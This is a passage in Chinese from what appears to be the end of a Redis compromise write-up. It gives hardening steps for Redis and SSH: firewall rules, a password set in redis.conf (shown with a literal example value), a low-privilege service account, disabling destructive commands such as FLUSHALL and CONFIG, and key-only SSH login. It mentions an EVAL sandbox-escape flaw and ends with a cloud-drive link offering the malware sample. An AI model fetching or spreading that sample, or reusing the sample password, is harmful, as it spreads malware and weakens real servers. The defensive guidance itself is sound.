    iptables -A INPUT -s x.x.x.x -p tcp --dport 6379 -j ACCEPT

设置访问密码

redis.conf中找到requirepass字段,去掉其注释,并在后面填上需要的密码。Redis 客户端也需要使用此密码来访问 Redis 服务。

打开/etc/redis/redis.conf配置文件:

​requirepass kzd&YvDvvc

确保密码的复杂度,配置完毕后重启服务即可生效。

服务运行权限最小化

请以较低权限账号运行 Redis 服务,并禁用该账号的登录权限。以下操作创建了一个无 home 目录权限,且无法登录的普通账号:

useradd -M -s /sbin/nologin [username]

注意:该操作需要重启 Redis 才能生效。

隐藏重要命令

Redis 无权限分离,其管理员账号和普通账号无明显区分。攻击者登录后可执行任意操作,因此需要隐藏以下重要命令:FLUSHDB, FLUSHALL, KEYS,PEXPIRE, DEL, CONFIG, SHUTDOWN, BGREWRITEAOF, BGSAVE, SAVE, SPOP, SREM, RENAME,DEBUG, EVAL

另外,在 Redis 2.8.1 及 Redis 3.x (低于 3.0.2) 版本下存在 EVAL 沙箱逃逸漏洞,攻击者可通过该漏洞执行任意 Lua 代码。

下述配置将config/flushdb/flushall设置为空,即禁用该命令;也可设置为一些复杂的、难以猜测的名字。

rename-command CONFIG ""
rename-command flushall ""
rename-command flushdb ""
rename-command shutdown shotdown_test

保存后,执行/etc/init.d/redis-server restart重启生效。

2、服务器方面

  • 服务器不使用默认的 22 端口

    22 端口是 SSH 服务的默认端口,这也是黑客扫描服务器 ssh 服务的默认端口。修改 SSH 端口的方法如下:vim编辑/etc/ssh/sshd_config,将其中的 Port 22 参数改成你想要的端口,通常 5 位数字最好。修改完成之后,重启 sshd 服务生效。

  • 禁止使用密码登陆,使用 RSA 公钥登陆

    本地机器可以使用ssh-keygen -t rsa生成公钥和私钥,然后将公钥追加到服务器上的~/.ssh/authorized_keys文件,注意此文件的权限是600。SSH 配置如下:

    RSAAuthentication yes # RSA认证
    PubkeyAuthentication yes # 开启公钥验证
    AuthorizedKeysFile .ssh/authorized_keys # 验证文件路径
    PasswordAuthentication no # 禁止密码认证
    PermitEmptyPasswords no # 禁止空密码

    最后重启 sshd 服务即可生效。

  • 禁止 root 用户登录

    线上服务器,我们通常会以普通用户登陆,然后再su root切换到root用户,这样做的好处是,即使被攻击了,也能有相应的保障。具体的方法是修改/etc/ssh/sshd_config配置文件,将PermitRootLogin改为no

0x04 类似案例

0x05 参考

最后的最后,分享一下样本,样本传送门:https://pan.baidu.com/s/1P1FFCzmhRQ2qROWEFbPWow

...

Tags Read More